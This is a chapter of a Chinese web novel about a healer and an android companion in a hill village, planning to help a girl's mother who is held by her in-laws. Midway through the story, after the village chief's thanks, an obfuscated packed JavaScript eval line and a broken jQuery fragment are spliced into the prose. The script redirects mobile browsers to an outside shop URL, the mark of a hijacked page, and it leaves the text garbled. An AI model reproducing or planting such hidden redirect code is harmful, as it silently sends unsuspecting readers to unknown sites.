当晚，陈折仍住在村口那间空竹屋里。詹姆斯用从后山砍来的竹子修补了屋顶的漏洞，又加固了一面有些松动的侧墙。布莱克趴在门口，面朝村道方向，耳朵偶尔转动一下，像在守夜。
晚饭是各自分开吃的。阿娜去了阿妹外婆家。
阿娜在阿妹外婆家的灶台边坐下。老妇人给她盛了一碗米汤，又往她碗底沉了一小块煮红薯，不说话，只是把碗推到她面前。灶膛里的火光把屋里照得忽明忽暗。阿妹已经吃过了，坐在门槛上，怀里抱着睡着了的婴儿，背对着灶火，整个人缩成小小一团。阿娜端着碗，低头喝了一口米汤。
阿妹突然开口了：“我阿妈说，我出生的时候也那么小。”
阿娜顺着她的目光看了一眼她怀里的婴儿：“你妹妹？”
“嗯。”阿妹低头，用指尖轻轻碰了碰婴儿的额头，“她刚出生的时候更小。皱巴巴的，像一个小猴子。阿妈说，是因为怀她的时候吃的不好。”
灶膛里的柴火发出一声细小的爆裂。阿娜在火光里缩了一下，像是被那一声惊了一下。然后她低头喝了一口米汤：“那你妈妈之后还会回来吗？”
阿妹没有立刻回答。她沉默了一会儿，才开口：“我想她回来。”她的声音很平，像在陈述一件她每天都想、但已经不再期待的事。“不过我阿爷说，当初娶我阿妈的时候，给了一匹布、一筐米。是聘礼。”
“那你就让你阿妈把布和米还给他呗。”
阿妹摇了摇头。她的下巴轻轻搁在婴儿包被的边缘上，幅度很小，但已经是她此刻能给出的最明确的答案。“不一样的。不是东西的事。”
阿娜没再追问。她把碗里最后一口米汤喝完，把碗放在脚边。
过了一会儿，阿妹又问：“那个很白的女人，是你的阿妈么？”
“不是。她是我的姑姑。我妈妈生我的时候死掉了，我爸爸后来也死了。”阿娜说。
“你们从哪里来？”
“很远的地方，在海上。那里没有这么大。”
阿妹没有再问。沉默了一会儿，她又开口了：“那个很高的人呢？长得好奇怪。”
阿娜知道她指的是詹姆斯。“他是陈折的朋友，他会做很多东西。玩具，工具，修屋顶，什么都行。”阿娜不想让小伙伴不喜欢陈折和詹姆斯，又补了一句，“他很厉害的。”
阿妹没有反驳，也没有表示赞同，只是调整了一下抱婴儿的姿势，把包被的一角往内侧掖了掖：“他长得不像我们这里的人。”
“他是从很远很远的地方来的。”阿娜说。
阿妹转头看了她一眼，光线从她的侧脸滑过，映出瘦削的脸颊和颧骨的轮廓：“你们那里的人都长成这样吗？”
“不全是。”阿娜想了想，“我长得很黑。我像我们那边的人。”
阿妹低着头，像是在慢慢消化这个信息，最后只是说：“你们那里也卖女儿吗？”
阿娜被问住了。她坐在那里，很长时间没有回答，手指无意识地蜷进掌心，像在数一个模糊的答案。火光把她没有说出口的话挡在了影子里。她最后说了一句：“我不知道。”
第二天天刚蒙蒙亮，陈折就醒了。草棚外头还笼着一层薄薄的雾气，远处的山脊线被晨光勾出一道淡金色的边。
她侧过头看了一眼，詹姆斯已经坐起来了，光学传感器的指示灯在晨暗中极快地闪了一下，随即恢复成正常瞳孔的模样。
陈折简单洗漱过后，跟老村长的儿子打了声招呼，便沿着村口的小路往外走。老村长的儿子叫阿黎，三十出头，精瘦，肤色黝黑，话不多，但眼神很亮。他听说陈折要去村周围看看，便主动领路。
“坡村不大，拢共就三十几户。”阿黎边走边说，手里攥着一把砍刀，时不时劈掉路边伸出来的藤蔓，“住的地方都在这坡上，地势高，雨水大的时候不淹。”
陈折点点头，四下打量。村落的格局确实依山势而建，房屋高低错落，大多是竹木结构的干栏式建筑，底层架空，用来堆放杂物和养牲畜。屋顶铺的是茅草和棕榈叶，压得很厚实，看得出是经年累月加固过的。
三人沿着一条被人踩得发亮的土路往下走。路两边是大片的梯田，一级一级往下延伸，水光在晨雾里泛着细碎的亮。稻田里的秧苗刚插下去不久，绿得还不浓，稀稀疏疏地立在浅浅的水面上。
詹姆斯蹲下来，伸手探了探田里的水，又捏了一把泥土放在鼻尖闻了闻。“水够，肥也还行，”他站起身拍了拍手上的泥，“这一片都是种水稻？”
“嗯，底下那几级种稻，上面的不行，水引不上去。”阿黎指了指坡上方，“那边种粟和山药，还有一些豆子。坡上旱，稻子活不了。”
陈折顺着阿黎指的方向望过去。坡上是一片缓坡地，植被被清出了一块一块，看得出是刀耕火种的痕迹。有些地块上还留着烧过的黑色草灰，新翻的土里隐约露出嫩芽。
“你们每年怎么轮？”詹姆斯开口问道。他的语调流畅自然，没有任何口音或停顿，如同在用母语讲话——语言模块让他可以无障碍地处理任何人类语言，甚至能模仿当地用词的细微偏差。
阿黎愣了一下，似乎没太明白“轮”是什么意思。陈折帮他解释：“就是，今年种了这块地，明年种哪块？”
“哦，”阿黎明白过来，“烧一片，种两年，然后就荒着，过几年再烧。”他比划了一下，“山那边还有几片，轮着来。地多，不怕。”
陈折没再追问。他在心里默默算了一下，这种耕作方式虽然粗放，但对于人口不多、土地相对充裕的村落来说，是足够维持的。效率不高，但稳定。
他们沿着田埂又走了一段，到了溪边。溪水不宽，大约两丈左右，水流清澈，底部是圆滑的石头。几个女人正在溪边洗衣裳，看到詹姆斯都停下动作，直勾勾地盯着看了一会儿，然后低头窃窃私语，不时发出低低的笑声。
詹姆斯倒是坦然，还冲她们笑了笑，挥了挥手。肢体语言模块自动调用了最适宜的社交反应。那几个女人反倒不好意思了，把头埋得更低。
阿黎没理会这些，蹲在溪边捧了把水洗脸：“这水一直通到山下的大河，涨水的时候能涨到田埂边。小时候有一年水大，把下面几级田全淹了，那年稻子收成不到一半。”
“后来呢？”陈折问。
“后来大家往上搬了一点，屋子挪高了。”阿黎语气平淡，像在讲别人的事，“日子还是照样过。”
三人在村周围转了大半个上午。陈折发现坡村的选址其实很讲究——高处住人，低处种稻，溪水够用，山林也近。柴火、野菜、药材、野果，都靠着后面那片山。詹姆斯则对村里的几口陶窑产生了兴趣，蹲在窑口研究了半天，内部处理器自动完成了温度估算和材料成分分析，他转述给陈折：“窑温不够高，不过做出来的罐子够结实，够用。”
往回走的时候已经是正午，日头毒得很。阿黎把他们送到竹屋门口，说了句“下午凉快了再转”就走了。
到了第三天傍晚，太阳刚刚落到山脊后面，天际还留着一大片橘红色的余晖。阿黎匆匆跑来找陈折，脸上的神色比前几天活泛了不少：“阿爸说他要来当面谢你们。”
陈折还没来得及客套，老村长已经拄着一根木杖走到了草棚门口。他的步伐明显比几天前稳当了许多，脸色也红润了，虽然还有些消瘦，但眼神已经有了神采。他身后跟着阿黎和一个中年女人，正是那天晚上照顾老村长的那个，阿黎的媳妇。
老村长走进草棚，也没说话，先把手里的东西放下，是一串风干的野猪肉，还有一小坛子酒。然后他退后一步，双手合拢，朝陈折深深弯下腰去。
陈折赶紧上前扶住：“老伯，不用这样，快起来。”
老村长直起身，用力握住陈折的手腕，掌心里全是粗糙的茧子：“那几服药下去，我这条老命算是捡回来了。”他的声音比之前洪亮了不少，“头两天我还觉得浑身没力气，今天早上起来，能吃下一整碗薯粥了。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17786789|210200||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
阿黎在一旁补充：“阿爸今天早上还去看了他养的鸡，前些日子病着的时候鸡都没人管。”
老村长瞪了儿子一眼：“就你话多。”但嘴角明显是往上翘的。
陈折看着老人，问：“这几天阿黎和我说，阿桃嫁的那个寨子叫黎母寨，是这一带最大的一个侗寨。那边的日子怎么样？”
老村长沉默了一下，似乎在斟酌怎么说。然后声音低低的：“黎母寨的田多，山也大，比我们坡村富一些。但那个寨子的头人家……要的东西也多。”他停顿了一下，“阿桃的婆家出了一份彩礼，阿桃的阿妈拿不出同等的嫁妆。”
“所以呢？”陈折问。
阿黎的媳妇坐在旁边接了口，声音低低的：“嫁过去之后，就是他们家的人了。夫家怎么待她……我们这边也管不了。”她抬起眼看了陈折一眼，又很快垂下去，“一般来说，头年苦一点，生个孩子之后会好一些。黎母寨那边的人也说不上坏，就是规矩重。”
陈折皱了一下眉：“规矩重是什么意思？”
老村长的声音带着一点沙哑：“黎母寨的头人姓符，是这附近几个寨子辈分最高的。他们那边的女人嫁过去，头三年要在婆家干活，不能随意回娘家。逢年过节，婆家说了才算。”他顿了顿，“阿桃的婆家是符家的旁支，也不算差。只是阿桃这孩子福源薄，连生了两个女儿。”
草棚里安静了一会儿。詹姆斯站在门口，没有参与对话，但他的视线在几个人脸上依次扫过，光学传感器无声地捕捉着所有人的微表情和语调起伏。
陈折抬起头，看向老村长：“阿桃让她女儿带着妹妹跑回来，会怎么样？”
老村长沉默了一会儿，手指在木杖顶端来回摩挲，像在摸一块被磨了很久的石头。“……这个事，说大不大，说小不小。阿桃让阿妹把小的抱回来，在黎母寨那边，就是不给夫家留人。”他顿了顿，“她男人没拦——那孩子刚生下来，他本来就想丢掉的。但阿桃这么做，符家那头会觉得面上挂不住。”
“会打她吗？”陈折问。
老村长没有直接回答，喉结动了一下，像被什么硬物卡住了：“她跑不掉。黎母寨那边的人看得很紧，不会让她一个人走出去。能让她阿妹跑出来，已经是趁着天黑、没人注意的时候了。她自己要是想跑，婆家的人会拦。”他的声音压得更低了，“就算不打死，也会关起来。”
竹屋里安静下来。陈折坐在一块木墩上，手搭在膝盖上，很久没有说话。
“我想见见阿桃。”她说，“你们能不能了解一下那边现在的情况。可以说坡村这边来了一个能治病的人，是阿桃远方来的亲戚。她婆家要是想让阿桃回来看看孩子，或者让她出来见一面，就让她来。”
老村长抬起头看着她，眼睛里有一种迟疑的光，像一条快要熄灭的火线被重新拨亮了一角：“……你这个说法倒是稳当。不翻脸，也不求人。”他低下头想了想，“黎母寨那边的人，也有自己的面子。要是说阿桃的外地亲戚来了坡村，想见她，她们婆家再拦着，反而显得他们家小气。这话可以递。”
“传话的人可靠吗？”
“我让我堂弟去。”老村长说，“他在黎母寨那边有认识的熟人，不是符家的人，是那边一个做陶器的。两边的路都通，话能带到，不会惹眼。”
“够了。”陈折说，“能把话传到就行。”
她站起来，走到草棚门口。风从坡下吹上来，带着稻叶和泥土的气味。暮色正在把远处山脊的轮廓融化成一团模糊的暗色。布莱克从她脚边站起来，朝西北方向望了一眼，耳朵转了半圈，又落回去。
陈折站在门口，没有回头：“如果她来不了，我再想别的办法。”
老村长在身后说了一句：“要是阿桃能来，她后天傍晚差不多能到。坡村到黎母寨，来回一天半。传话的人明天一早出发，后天下午就能把话带回来。”他的木杖在地上轻敲了一下，“到时候，你要在。”
“我会在。”陈折说。